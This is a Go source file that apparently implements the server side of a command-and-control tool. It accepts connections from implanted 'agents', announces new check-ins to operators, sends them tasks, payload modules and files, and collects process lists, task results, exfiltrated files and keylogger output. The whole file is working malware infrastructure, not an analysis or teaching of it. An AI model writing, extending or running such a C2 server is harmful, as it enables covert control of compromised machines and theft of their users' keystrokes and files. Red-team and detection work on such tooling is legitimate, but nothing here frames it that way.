package main

import (
	"fmt"
	"io"
	"net"
	"strings"
	"time"
)

func AcceptAgentConnections(listener net.Listener, name string) {
	defer listener.Close()

	for {
		// Try to accept a connection
		conn, err := listener.Accept()
		if err != nil {
			if strings.Contains(err.Error(), "use of closed network connection") {
				return
			}
			debugLog("Error accepting connection on listener '%s': %v", name, err)
			continue
		}

		// Handle the connection in a new goroutine
		HandleAgentConnection(conn, name)
	}
}

// Log agent connection and start parsing messages
func HandleAgentConnection(agentConn net.Conn, name string) {
	// Log when the connection is closed by the agent (on error or completion)
	defer func() {
		debugLog("Closing agent connection %s", agentConn.RemoteAddr())
		agentConn.Close()
	}()

	debugLog("\n")
	debugLog("New connection from %s to listener %s", agentConn.RemoteAddr(), name)

	ReceiveAgentMessage(agentConn)
}

// Reads message from connection
func ReceiveAgentMessage(agentConn net.Conn) {
	for {
		buffer := make([]byte, 8192)
		n, err := agentConn.Read(buffer)
		if err != nil {
			if err == io.EOF {
				// Agent closed the connection
				debugLog("Connection closed by agent %s", agentConn.RemoteAddr())
			} else {
				// Some other problem
				debugLog("Error reading from agent %s: %v", agentConn.RemoteAddr(), err)
			}
			return
		}
		ParseAgentMessage(string(buffer), n, agentConn)
	}
}

// Parses agent's message
func ParseAgentMessage(buffer string, n int, agentConn net.Conn) {
	message := strings.TrimSpace(buffer[:n])
	agentIP := agentConn.RemoteAddr().String()

	// Print message only if it is not too big
	if len(message) <= 256 {
		debugLog("Message from agent at %s (%d bytes): \"%s\"", agentIP, len(message), message)
	} else {
		// Print the first 256 characters and indicate truncation
		truncated := message[:256] + "..."
		debugLog("Message from agent at %s (%d bytes) (truncated): \n%s", agentIP, len(message), truncated)
	}

	messageParts := strings.SplitN(message, "~", 7)

	if len(messageParts) < 2 {
		debugLog("[!] Invalid message from %s: '%s'", agentIP, message)
		return
	}
	agentID := messageParts[0]
	messageType := messageParts[1]

	if _, exists := GetAgent(agentID); !exists {
		infoLog(fmt.Sprintf("New agent checked-in: %s", agentID))
		SendMessageToAllOperators(fmt.Sprintf("New agent checked-in: %s", agentID))
	}

	// Different messages may require difference handling
	switch messageType {
	case "HEARTBEAT":
		if len(messageParts) == 2 {
			HandleHeartbeat(agentID, agentConn)
		} else {
			debugLog("Invalid heartbeat from %s", agentIP)
		}
	case "SYSINFO":
		if len(messageParts) == 4 {
			HandleSystemInfo(agentID, agentIP, messageParts[3])
		} else {
			debugLog("Invalid sysinfo message format")
		}
	case "KEYLOGGER":
		if len(messageParts) == 4 {
			HandleKeyloggerMessage(agentID, messageParts[2])
		} else {
			debugLog("Invalid keylogger message format")
		}
	case "PROCESS":
		taskID := messageParts[2]
		debugLog("Task ID: %s", taskID)
		if len(messageParts) == 4 {
			FormatProcessListOutput(agentID, messageParts[3], taskID)
		} else {
			debugLog("Invalid process info message format")
		}
	case "TASKRESULT":
		taskID := messageParts[2]
		debugLog("Task ID: %s", taskID)
		if len(messageParts) >= 3 {
			HandleTaskResult(agentID, messageParts[3], taskID)
		} else {
			debugLog("Invalid task result message format ")
		}
	case "FILE":
		if len(messageParts) == 2 {
			ReceiveFile(agentConn, agentID)
		} else {
			debugLog("Invalid file transfer message format")
		}
	default:
		debugLog("Unknown message type from agent %s: %s", agentID, messageType)
	}
}

func HandleHeartbeat(agentID string, agentConn net.Conn) {
	// Update or create the agent entry directly
	newInfo := &AgentInfo{
		RemoteIP:       agentConn.RemoteAddr().String(),
		LastConnection: time.Now(),
	}

	UpdateAgent(agentID, newInfo)

	// Check if there's a task for the agent
	task := taskHandler.GetNextTask(agentID)
	if task != nil {
		SendTask(agentConn, agentID, task)
	} else {
		// If no task, send ACK
		SendACK(agentConn, agentID)
	}
}

// Send task or module to agent
func SendTask(agentConn net.Conn, agentID string, task *Task) {
	var taskMessage string

	// If there is a payload - we are sending a module
	if task.Payload != nil {
		taskMessage = fmt.Sprintf("TASK~%s~%s~%s~%d", task.TaskID, task.Type, task.Args, len(task.Payload))
		// Send task to the agent
		_, err := agentConn.Write([]byte(taskMessage))
		if err != nil {
			debugLog("Error sending task to agent %s: %v", agentID, err)
		} else {
			infoLog("Sent task to agent %s: %s %s", agentID, task.Type, task.Args)
		}
		SendModule(agentConn, agentID, task)

	} else if task.Type == "upload" { // Send file to agent
		// File transfer
		cmdParts := strings.Fields(task.Args)
		lpath := cmdParts[0]
		rpath := cmdParts[1]
		taskMessage = fmt.Sprintf("TASK~%s~%s~%s", task.TaskID, task.Type, rpath)
		debugLog("Task message: %s", taskMessage)
		// Send task to the agent
		_, err := agentConn.Write([]byte(taskMessage))
		if err != nil {
			debugLog("Error sending task to agent %s: %v", agentID, err)
		} else {
			infoLog("Sent task to agent %s: %s %s", agentID, task.Type, task.Args)
		}
		// Start file transfer
		SendFile(agentConn, lpath, rpath)

	} else {
		// Send usual task
		taskMessage = fmt.Sprintf("TASK~%s~%s~%s", task.TaskID, task.Type, task.Args)
		// Send task to the agent
		_, err := agentConn.Write([]byte(taskMessage))
		if err != nil {
			debugLog("Error sending task to agent %s: %v", agentID, err)
		} else {
			infoLog("Sent task to agent %s: %s %s", agentID, task.Type, task.Args)
		}
	}
	ReceiveTaskResult(agentConn, agentID, task.TaskID)
}

// TODO: adjust this strange logic
// Receive task result from agent (current way of doing so is that sserver
// waits for 10 secods to receive task result from agent)
func ReceiveTaskResult(agentConn net.Conn, agentID string, taskID string) {
	buffer := make([]byte, 8192)

	agentConn.SetReadDeadline(time.Now().Add(10 * time.Second))
	n, err := agentConn.Read(buffer)
	if err != nil {
		debugLog("Error reading task result from agent %s: %v", agentID, err)
		return
	}
	result := string(buffer[:n])

	// Receive immidiate task result
	// Because message can be of any type
	ParseAgentMessage(result, n, agentConn)
}

// TODO: adjust this strange logic
func HandleTaskResult(agentID string, result string, taskID string) {
	infoLog("Received task result from agent %s \n", agentID)

	// Print result only if it is not too big
	if len(result) <= 128 {
		infoLog("Task result: \"%s\"\n", result)
	} else {
		infoLog("Task result is too big for printing")
	}

	// Prepare task result message for operator
	message := agentID + ": " + result
	debugLog("Message for operator: %s", message)

	// Report to operator
	operatorConn, exists := taskHandler.GetOperatorConnByTaskID(agentID, taskID)
	if exists {
		debugLog("Operator exists, sending message")
		operatorConn.Write([]byte(message))
	}

	// Remove task from list
	taskHandler.MarkTaskComplete(agentID, taskID, true)
}

// Send ACK message to agent
func SendACK(agentConn net.Conn, agentID string) {
	_, err := agentConn.Write([]byte("ACK"))
	if err != nil {
		infoLog("Error sending ACK to agent %s. Error: %v", agentID, err)
	} else {
		debugLog("Acknowledged agent %s", agentID)
	}
}
